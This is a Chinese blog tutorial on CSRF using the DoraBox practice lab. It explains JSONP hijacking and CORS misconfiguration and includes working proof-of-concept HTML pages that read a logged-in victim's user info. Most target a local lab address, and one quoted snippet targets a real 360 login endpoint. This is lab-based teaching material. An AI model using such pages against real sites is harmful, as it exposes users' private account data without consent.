【DoraBox实战】————3、CSRF分析与研究

CSRF简介

CSRF的全名为Cross-site request forgery,它的中文名为跨站请求伪造。

CSRF是一种挟持用户在已经登陆的web应用程序上执行非本意的操作的攻击方式。相比于XSS,CSRF是利用了系统对页面浏览器的信任,XSS则利用了系统对用户的信任。

你也可以这样来理解:攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以你的名义发送邮件、发消息,盗取你的账号,添加系统管理员,甚至于购买商品、虚拟货币转账等。

CSRF原理

下图简单阐述了CSRF攻击的思想:

从上图可以看出,要完成一次CSRF攻击,受害者必须依次完成两个步骤:

  • 登录受信任网站A,并在本地生成Cookie。
  • 在不登出A的情况下,访问危险网站B。

看到这里,你也许会说:“如果我不满足以上两个条件中的一个,我就不会受到CSRF的攻击”。是的,确实如此,但你不能保证以下情况不会发生:

1.你不能保证你登录了一个网站后,不再打开一个tab页面并访问另外的网站。

2.你不能保证你关闭浏览器了后,你本地的Cookie立刻过期,你上次的会话已经结束。(事实上,关闭浏览器不能结束一个会话,但大多数人都会错误的认为关闭浏览器就等于退出登录/结束会话了......)

3.上图中所谓的攻击网站,可能是一个存在其他漏洞的可信任的经常被人访问的网站。

在BoraBox中提供的CSRF模块为JSONP、CORS,下面对这两个漏洞进行分析与利用

JSONP

JSONP简介:

JSONP 全称是 JSON with Padding ,是基于 JSON 格式的为解决跨域请求资源而产生的解决方案。它实现的基本原理是利用了 HTML 里 <script></script> 元素标签,远程调用 JSON 文件来实现数据传递。当某网站通过 JSONP 的方式来跨域(一般为子域)传递用户认证后的敏感信息时,攻击者可以构造恶意的 JSONP 调用页面,诱导被攻击者访问来达到截取用户敏感信息的目的。如要在 a.com 域下获取存在 b.com 的 JSON 数据( getUsers.JSON ):

JSONP劫持:

JSON 劫持又为“ JSON Hijacking ”,最开始提出这个概念大概是在 2008 年国外有安全研究人员提到这个 JSONP 带来的风险。这个问题属于 CSRF( Cross-site request forgery 跨站请求伪造)攻击范畴。当某网站听过 JSONP 的方式来跨域(一般为子域)传递用户认证后的敏感信息时,攻击者可以构造恶意的 JSONP 调用页面,诱导被攻击者访问来达到截取用户敏感信息的目的。一个典型的 JSON Hijacking 攻击代码:

<script>
function wooyun(v){
    alert(v.username);
}
</script>
<script src="http://js.login.360.cn/?o=sso&m=info&func=wooyun"></script>

当被攻击者在登陆 360 网站的情况下访问了该网页时,那么用户的隐私数据(如用户名,邮箱等)可能被攻击者劫持。

JSONP劫持实战:

分析:首先查看一下JSONP的相关代码:

从下面的代码中可以了解到callback不为空的时候,则会直接通过回调函数对用户的info进行json编码,同时输出userinfo:

利用:直接访问链接,页面返回json格式的数据。

那么劫持后应该是可以在其他域下获得受害者的json信息,下面构造一个劫持页面,将劫持的信息,alert出来:

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>JSONP劫持测试</title>
</head>
<body>
<script type="text/javascript">
function test(result)
        {
            alert(result.username);
        }
</script>
<script type="text/javascript" src="http://192.168.244.128/DoraBox-master/csrf/jsonp.php?callback=test"></script>
</body>
</html>

之后用浏览器打开上面的html页面:

成功获取的json中的username信息~

下面这个是DoraBox提供的POC,可以获取到全部的内容:

<!--jsonp.html-->
<script>function vulkey(data){alert(JSON.stringify(data));}</script>
<script src="http://192.168.244.128/DoraBox-master/csrf/jsonp.php?callback=vulkey"></script>

 

CORS

CORS简介

CORS,Cross-Origin Resource Sharing,跨源资源共享。CORS是W3C出的一个标准,其思想是使用自定义的HTTP头部让浏览器与服务器进行沟通。因为开发者需要通过跨域获取资源。

分析:首先查看一下cors设计代码,从下面可以看到“Access-Control-Allow:*”这个CORS配置~

然后访问一下该页面,可以从下面的页面查看到有用户的个人信息:

下面构造CORS.html页面来读取信息:

<!DOCTYPE html>
<html>
<body>
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>

<script>
function cors() {
  var xhttp = new XMLHttpRequest();
  xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
      document.getElementById("demo").innerHTML = alert(this.responseText);
    }
  };
  xhttp.open("GET", "http://192.168.244.128/DoraBox-master/csrf/userinfo.php", true);
  xhttp.withCredentials = true;
  xhttp.send();
}
</script>
</body>
</html>

执行之后可以看到成功读取到用户信息:

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

FLy_鹏程万里

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值